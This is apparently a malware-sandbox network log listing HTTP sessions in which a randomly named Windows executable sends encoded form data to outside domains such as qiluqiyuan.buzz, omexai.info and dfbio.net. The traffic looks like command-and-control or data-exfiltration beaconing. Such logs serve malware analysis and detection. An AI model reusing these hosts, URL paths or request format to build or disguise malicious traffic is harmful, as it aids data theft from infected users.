19	192.168.2.5	49291	161.97.168.245	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:43:39.551347971 CEST	1767	OUT	POST /p6o9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1244 Host: www.qiluqiyuan.buzz Origin: http://www.qiluqiyuan.buzz Referer: http://www.qiluqiyuan.buzz/p6o9/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 55 6b 44 66 62 38 68 68 45 7a 76 38 4b 38 61 32 57 72 35 58 4d 4d 6c 53 33 74 43 6a 39 4b 7a 58 59 6a 56 75 55 55 41 72 66 5a 39 30 63 42 65 71 32 36 4b 68 70 6c 50 7a 73 31 38 71 6a 75 2f 78 65 38 42 34 56 64 31 79 52 61 43 50 50 34 77 48 33 4e 2b 53 35 47 78 4a 77 62 4a 55 70 68 7a 4e 4a 30 4e 51 75 47 53 31 34 55 6a 77 4f 6a 45 2b 4f 68 6a 70 42 4d 2f 38 79 39 39 35 31 4f 44 46 69 77 45 33 35 79 4b 69 62 48 2f 31 4b 47 52 4e 50 65 53 78 63 45 43 73 66 77 4f 75 68 6b 6c 6c 62 6a 57 62 48 51 4f 77 4f 72 78 4f 54 41 38 6e 59 59 57 54 31 64 52 61 6a 4c 37 61 78 48 6d 52 77 70 70 58 74 4a 79 4f 66 37 74 33 55 32 77 38 72 64 4b 68 7a 6c 4b 76 69 58 53 43 38 34 6b 53 47 4f 71 71 66 4c 6f 2b 36 58 4d 6b 49 59 6c 64 4b 46 58 6b 42 2f 63 45 75 43 5a 4c 59 30 61 6b 6b 61 73 64 75 70 43 32 54 61 55 63 78 75 73 65 5a 63 75 51 61 6d 2f 56 61 51 33 31 74 7a 75 63 70 58 69 68 6f 39 78 33 64 38 30 70 63 7a 76 37 64 34 65 56 6b 52 74 44 56 4d 66 6b 67 68 75 2b 68 4e 63 69 75 47 43 72 43 77 [TRUNCATED] Data Ascii: MHZDTHg=UkDfb8hhEzv8K8a2Wr5XMMlS3tCj9KzXYjVuUUArfZ90cBeq26KhplPzs18qju/xe8B4Vd1yRaCPP4wH3N+S5GxJwbJUphzNJ0NQuGS14UjwOjE+OhjpBM/8y9951ODFiwE35yKibH/1KGRNPeSxcECsfwOuhkllbjWbHQOwOrxOTA8nYYWT1dRajL7axHmRwppXtJyOf7t3U2w8rdKhzlKviXSC84kSGOqqfLo+6XMkIYldKFXkB/cEuCZLY0akkasdupC2TaUcxuseZcuQam/VaQ31tzucpXiho9x3d80pczv7d4eVkRtDVMfkghu+hNciuGCrCwgDMXCsZlKFW568eRh3x0+pM6moGh/miExteiiVgSx710+oUqsCDAN4ZmR/wKh/GheRNaZO+lsnQkCYOynMkS0Ofwd0/+2CS1p90Rn8Z6zaE9P2x0neipc2cS3JrpaS6dsnOtd9TY/+Koxn0CH86tKdl5evvkE+dLL4sPNMMAhG4K8uRDeCRgq1NhRCfXuiDgWPE8Ceoj8V/vPXx35PUOoKjsu+JmVjhp4CD10JrgMB8GkxILBlFgGczMHakSqb/uzRDZY6A4obETxaNNdn3pZiXb/MrqPO+AKpbxNAYBSE/74D//M9VgXWjr3VW59xi3IyRBsD3WA9aN1ru30WYjwtdzqcJooLtiCn/QFtzw4Lt1rS9A1ZcPsu26f3m1LQIytqYSjJfy32f+5qu96bfGoqTwtC88WxfRJUZ9t3OAsTHaMkNxvztP6tIqsQ7tKEP4UygeGA2xGQVEojMC4JPLcRN8bxPo7N6lbx2m0v0bzMDuITNuPM1sVG0Mx40eYWEFF1+y9pXIWQ7x20wXNCDuUig5B1JfdRdCNzW1VUXgOdzECtNt6XZSeJ+VPPF6tVyJ2oJS0YFPrHrTpQspvR3jjQ18LIKyGC0Ua9FIkA1xBojHQb9qrUnMq/fRkd6YiJXV1F4qBnNMCMvdCwRPED8eNkKnbMmnvcafxo [TRUNCATED]
Sep 9, 2024 10:43:40.160691023 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Sep 2024 08:43:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cd104a-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Sep 9, 2024 10:43:40.161263943 CEST	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49292	161.97.168.245	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:43:42.100832939 CEST	471	OUT	GET /p6o9/?MHZDTHg=Zmr/YL1wBhH5EvOXWek0Ss4N+9SYg/Tcexp1DhQNUfR7ECek+Jud5GyO11J5h9itVrdZedwNG4+zKYxY7NG/zhQPgbZq8SnGCnwklmLK8GK6RzRHGkXrXeG9xuoq/9Gyzw==&m8=721TkfhHN46HeBfP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close Host: www.qiluqiyuan.buzz User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Sep 9, 2024 10:43:42.705970049 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Sep 2024 08:43:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cd104a-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Sep 9, 2024 10:43:42.705987930 CEST	1236	IN	Data Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
Sep 9, 2024 10:43:42.705998898 CEST	698	IN	Data Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49293	3.33.130.190	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:43:47.752834082 CEST	718	OUT	POST /45sz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 208 Host: www.omexai.info Origin: http://www.omexai.info Referer: http://www.omexai.info/45sz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 39 6d 34 57 67 54 43 6a 6f 2b 46 47 54 44 65 35 51 68 7a 66 51 6a 59 5a 2f 6d 2f 6b 50 4b 59 72 35 4e 42 41 52 55 74 58 34 46 4b 51 43 67 58 39 72 56 56 4e 66 4d 72 73 4a 58 70 45 56 45 2b 4f 4f 54 4b 6d 6a 68 71 31 4f 4c 68 45 4e 48 30 41 45 37 30 44 68 74 62 74 42 37 45 39 39 78 4e 6a 69 2f 4d 67 44 4b 53 30 4a 68 33 7a 57 68 4f 77 72 71 6a 75 7a 63 51 50 6b 6e 65 51 6d 44 53 39 59 38 37 4a 67 71 66 6b 30 32 66 61 7a 71 78 76 2b 48 30 71 2b 52 71 69 68 6e 31 45 45 51 74 65 43 37 5a 71 31 4f 65 75 2f 59 4c 50 63 6c 57 72 69 70 6e 41 77 2f 47 6f 4b 69 31 76 34 50 65 73 53 41 76 79 7a 55 6b 3d Data Ascii: MHZDTHg=9m4WgTCjo+FGTDe5QhzfQjYZ/m/kPKYr5NBARUtX4FKQCgX9rVVNfMrsJXpEVE+OOTKmjhq1OLhENH0AE70DhtbtB7E99xNji/MgDKS0Jh3zWhOwrqjuzcQPkneQmDS9Y87Jgqfk02fazqxv+H0q+Rqihn1EEQteC7Zq1Oeu/YLPclWripnAw/GoKi1v4PesSAvyzUk=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49294	3.33.130.190	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:43:50.302851915 CEST	738	OUT	POST /45sz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 228 Host: www.omexai.info Origin: http://www.omexai.info Referer: http://www.omexai.info/45sz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 39 6d 34 57 67 54 43 6a 6f 2b 46 47 52 6a 4f 35 53 43 72 66 57 44 59 61 36 6d 2f 6b 56 36 59 6e 35 4e 4e 41 52 51 39 48 34 33 75 51 43 41 6e 39 36 6b 56 4e 65 4d 72 73 42 33 70 4c 62 6b 2f 43 4f 54 48 62 6a 6b 53 31 4f 4c 31 45 4e 47 45 41 45 49 4d 4d 6e 74 62 76 4f 62 45 2f 7a 52 4e 6a 69 2f 4d 67 44 4c 32 53 4a 68 76 7a 57 77 65 77 70 49 4c 70 77 63 51 4f 68 58 65 51 69 44 53 35 59 38 37 76 67 76 33 65 30 77 44 61 7a 75 35 76 77 79 41 70 6c 68 72 6e 6c 6e 30 49 53 51 4d 57 4b 4e 70 68 6f 49 72 32 6f 72 57 7a 64 54 37 42 34 4c 76 6f 6a 66 71 51 61 78 39 59 70 2f 2f 46 49 6a 2f 43 74 44 77 66 33 54 6c 75 34 2f 6f 66 50 2f 4e 37 4b 43 6a 2b 75 32 69 77 Data Ascii: MHZDTHg=9m4WgTCjo+FGRjO5SCrfWDYa6m/kV6Yn5NNARQ9H43uQCAn96kVNeMrsB3pLbk/COTHbjkS1OL1ENGEAEIMMntbvObE/zRNji/MgDL2SJhvzWwewpILpwcQOhXeQiDS5Y87vgv3e0wDazu5vwyAplhrnln0ISQMWKNphoIr2orWzdT7B4LvojfqQax9Yp//FIj/CtDwf3Tlu4/ofP/N7KCj+u2iw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49295	3.33.130.190	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:43:52.847294092 CEST	1755	OUT	POST /45sz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1244 Host: www.omexai.info Origin: http://www.omexai.info Referer: http://www.omexai.info/45sz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 39 6d 34 57 67 54 43 6a 6f 2b 46 47 52 6a 4f 35 53 43 72 66 57 44 59 61 36 6d 2f 6b 56 36 59 6e 35 4e 4e 41 52 51 39 48 34 33 6d 51 43 53 76 39 6f 33 4e 4e 5a 4d 72 73 41 33 70 62 62 6b 2b 59 4f 54 75 51 6a 6b 57 50 4f 4a 4e 45 4d 6b 4d 41 4e 5a 4d 4d 30 4e 62 76 57 62 45 2b 39 78 4e 4d 69 2f 63 6b 44 4b 47 53 4a 68 76 7a 57 79 32 77 67 36 6a 70 32 63 51 50 6b 6e 65 63 6d 44 54 75 59 38 7a 52 67 76 36 68 31 44 62 61 7a 4f 70 76 39 6b 73 70 34 52 72 70 72 48 31 56 53 51 41 5a 4b 4e 64 44 6f 4d 72 63 6f 72 2b 7a 63 57 57 4e 69 59 66 33 69 64 79 56 61 67 31 67 30 5a 6d 6e 47 42 76 46 67 78 77 61 31 58 39 62 79 37 59 37 4b 2b 34 75 51 46 54 61 6b 7a 2f 63 58 7a 70 78 6a 32 74 34 56 63 61 69 50 2f 52 67 6d 68 45 46 35 68 42 6f 4f 36 6e 48 54 38 45 73 6c 75 73 63 36 67 38 79 70 50 55 41 36 41 4d 35 6f 74 66 69 4d 4a 6a 73 57 4f 46 44 38 43 4c 6b 46 39 4d 59 6a 41 75 6e 46 30 2f 4e 49 2f 2f 57 4e 2b 6b 2f 4f 6b 65 58 53 47 70 36 62 46 58 64 31 6a 6d 69 58 66 66 6f 6b 38 4e 6f 7a 43 [TRUNCATED] Data Ascii: MHZDTHg=9m4WgTCjo+FGRjO5SCrfWDYa6m/kV6Yn5NNARQ9H43mQCSv9o3NNZMrsA3pbbk+YOTuQjkWPOJNEMkMANZMM0NbvWbE+9xNMi/ckDKGSJhvzWy2wg6jp2cQPknecmDTuY8zRgv6h1DbazOpv9ksp4RrprH1VSQAZKNdDoMrcor+zcWWNiYf3idyVag1g0ZmnGBvFgxwa1X9by7Y7K+4uQFTakz/cXzpxj2t4VcaiP/RgmhEF5hBoO6nHT8Eslusc6g8ypPUA6AM5otfiMJjsWOFD8CLkF9MYjAunF0/NI//WN+k/OkeXSGp6bFXd1jmiXffok8NozCDYWEejlB93cbKKdjxm7lUpJlHuFtqgdfcZMdrSBQ2Aj8cxU+uWmSvnTiO7RUttozxF65begLhMC2Qf6375s6HwJ0T+QQy4Aq1iDtyZoTey1w4Ond07XwpCJLn7oJzAg12RPJb55dPx0wZvnq7YBI9o5+N2Tr5irBKIWxma1+OPQPz6k9lZnP+lu5p0QB46y+lnU2+RtFUzxMvN3iibwKgEf3hMCCotztX8Phr57D0dZKFiZOd1pk/U4QtxzKFqPvs6Qgl0vY3d3nrE52Jut0exNIl/f39mCPUCYZnp/WSCh2F/uc2hYQ7GiubtGR6PTsq+1Q9NwHPHWIbKe1uRhbxjKx/I+Zn+Q8frcJOkpCiU9eU0ZF6p5avtkY7rJuIaS6ljR/K6fUPvLfEbT17vbpGyRQ3a2kTHz+2hEzJ/km/XENyiVQ/zpAmQ60WKSM0vwiUfPMFOsgNhBtCGzsQqUUNx+xOZ2G4JDZbgzIfUAC4etPWluYYdqbR7qItKoucbAwO53db6hi4foCLALrtdRh5srlyHquXD2Z8l/fkAgmqUzkh2fzZAh9t1q3fgDT5FBkrEebFlQqTr7VO09dYktOni2gd9jQO5/NovEiI6h/ehhFJfRlru3hA9g+U00pdbBz2LPoNnqk2FyqskGnOp4baqvn6za70eggTx [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49296	3.33.130.190	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:43:55.394865990 CEST	467	OUT	GET /45sz/?m8=721TkfhHN46HeBfP&MHZDTHg=wkQ2jmS8yMxgRlKUPxXZOSJfy276TIgV39hMR0do1D6sDTDom055RMGGVlZFQUvdDVO+pgeKf5JaLn1AK40x/tSYSMAamA14mf1kJ7jyRRC6WiyMsI3Xnv4BkXKynB7mMQ== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close Host: www.omexai.info User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Sep 9, 2024 10:43:55.850140095 CEST	415	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 09 Sep 2024 08:43:55 GMT Content-Type: text/html Content-Length: 275 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6d 38 3d 37 32 31 54 6b 66 68 48 4e 34 36 48 65 42 66 50 26 4d 48 5a 44 54 48 67 3d 77 6b 51 32 6a 6d 53 38 79 4d 78 67 52 6c 4b 55 50 78 58 5a 4f 53 4a 66 79 32 37 36 54 49 67 56 33 39 68 4d 52 30 64 6f 31 44 36 73 44 54 44 6f 6d 30 35 35 52 4d 47 47 56 6c 5a 46 51 55 76 64 44 56 4f 2b 70 67 65 4b 66 35 4a 61 4c 6e 31 41 4b 34 30 78 2f 74 53 59 53 4d 41 61 6d 41 31 34 6d 66 31 6b 4a 37 6a 79 52 52 43 36 57 69 79 4d 73 49 33 58 6e 76 34 42 6b 58 4b 79 6e 42 37 6d 4d 51 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?m8=721TkfhHN46HeBfP&MHZDTHg=wkQ2jmS8yMxgRlKUPxXZOSJfy276TIgV39hMR0do1D6sDTDom055RMGGVlZFQUvdDVO+pgeKf5JaLn1AK40x/tSYSMAamA14mf1kJ7jyRRC6WiyMsI3Xnv4BkXKynB7mMQ=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49297	218.247.68.184	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:44:01.978856087 CEST	712	OUT	POST /yzen/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 208 Host: www.dfbio.net Origin: http://www.dfbio.net Referer: http://www.dfbio.net/yzen/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 44 2f 39 64 56 66 4a 59 76 71 39 47 44 69 6f 47 48 54 6e 55 57 53 33 44 65 58 6a 30 77 61 70 6d 66 76 66 75 53 61 72 39 63 6c 4b 55 6a 70 64 62 39 66 4b 30 59 70 74 65 56 37 31 56 37 78 41 58 46 76 2b 6f 7a 37 6c 67 56 6e 35 6f 33 55 71 38 65 62 64 6c 6c 59 43 6e 64 72 69 47 58 36 44 36 6b 72 2b 7a 45 6d 78 6d 34 65 51 69 4e 61 4e 62 67 57 61 32 66 6e 37 57 49 61 75 57 78 78 77 35 62 6c 70 6e 42 35 79 58 4b 72 37 35 4a 59 63 73 47 72 5a 62 51 30 79 56 54 4a 7a 69 4a 61 30 6e 52 36 70 5a 2f 42 39 64 76 43 63 76 30 6e 6e 39 4d 70 54 69 56 64 78 2b 6e 63 69 78 36 61 35 42 62 45 4d 68 63 71 30 3d Data Ascii: MHZDTHg=D/9dVfJYvq9GDioGHTnUWS3DeXj0wapmfvfuSar9clKUjpdb9fK0YpteV71V7xAXFv+oz7lgVn5o3Uq8ebdllYCndriGX6D6kr+zEmxm4eQiNaNbgWa2fn7WIauWxxw5blpnB5yXKr75JYcsGrZbQ0yVTJziJa0nR6pZ/B9dvCcv0nn9MpTiVdx+ncix6a5BbEMhcq0=
Sep 9, 2024 10:44:03.225127935 CEST	1236	IN	HTTP/1.1 404 Not Found Server: wts/1.7.0 Date: Mon, 09 Sep 2024 08:44:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: private Content-Encoding: gzip Strict-Transport-Security: max-age=31536000 Data Raw: 38 36 63 0d 0a 1f 8b 08 00 00 00 00 00 04 0a b5 58 7b 6f db d6 15 ff 7b fe 14 b7 0a 1c 6c 80 28 52 92 e3 87 24 6b 48 fd 40 02 24 5d 10 bb eb 06 04 08 28 f1 ca 24 42 91 2a 79 6d d9 31 0a 38 69 ea 47 12 37 06 da 3c 1c bb 48 b2 26 a9 97 21 56 ba b6 76 6c 37 cd 87 a9 48 c9 7f ed 2b ec 9c 7b 49 89 b6 6c 0f 2d 30 07 91 45 f2 9c df 39 e7 77 5e 97 ce 7d 30 fc 97 a1 f1 bf 5f 1a 21 3a 2b 9b e4 d2 c7 1f 5e 38 3f 44 62 92 2c 7f 92 1e 92 e5 e1 f1 61 f2 b7 73 e3 17 2f 90 64 42 21 63 cc 31 8a 4c 96 47 3e 8a 91 98 ce 58 25 23 cb d5 6a 35 51 4d 27 6c 67 42 1e bf 2c 4f 23 4a 12 d5 82 af 92 cb 75 12 1a d3 62 79 d2 95 e3 56 a6 cb a6 e5 0e 1e 81 90 1c 18 18 10 8a 42 98 aa 1a 2a 31 83 99 34 7f fe fc 18 49 2a e0 46 b3 f6 b2 b1 37 bf ff f5 6a b3 56 23 12 e9 51 7a e0 a6 44 3e b2 19 19 b5 27 2d 2d 27 0b 05 d0 74 d9 8c 49 09 9b a9 d0 c1 18 a3 d3 4c 2e ba 2e 87 fe 40 92 48 57 c1 d6 66 66 cb aa 33 61 58 19 25 5b b2 2d 26 b9 c6 75 9a 49 f4 d1 b2 b8 2c a9 65 c3 9c c9 fc 95 3a 9a 6a a9 f1 b3 8e a1 9a f1 73 d4 9c a2 cc 28 aa 71 57 [TRUNCATED] Data Ascii: 86cX{o{l(R$kH@$]($Bym18iG7<H&!Vvl7H+{Il-0E9w^}0_!:+^8?Db,as/dB!c1LG>X%#j5QM'lgB,O#JubyVB14IF7jV#QzD>'--'tIL..@HWff3aX%[-&uI,e:js(qW\Q~FFpE)EUD2DRcBgmj(VNqZNl'= ]M:j%SpzMkT4zTDfx(@J\|d%fW2LR6[Q5&2~j<LwH.S:0T7#3eKtZ-7R:l`$Ml(O!5%]h"`@u-f`TM)J((W)bJ-XEROxhLE$K5cAmq!~DVCU!1=3cB;,^Hu+C0Z,cx#]0Z60w}`Qp/RBjSDGO]m{Shp\|Z"@'"'<BdML[e-9\|@PzMW1w8$.X"f+0,!t1bV;sHg+gF`Q'SC
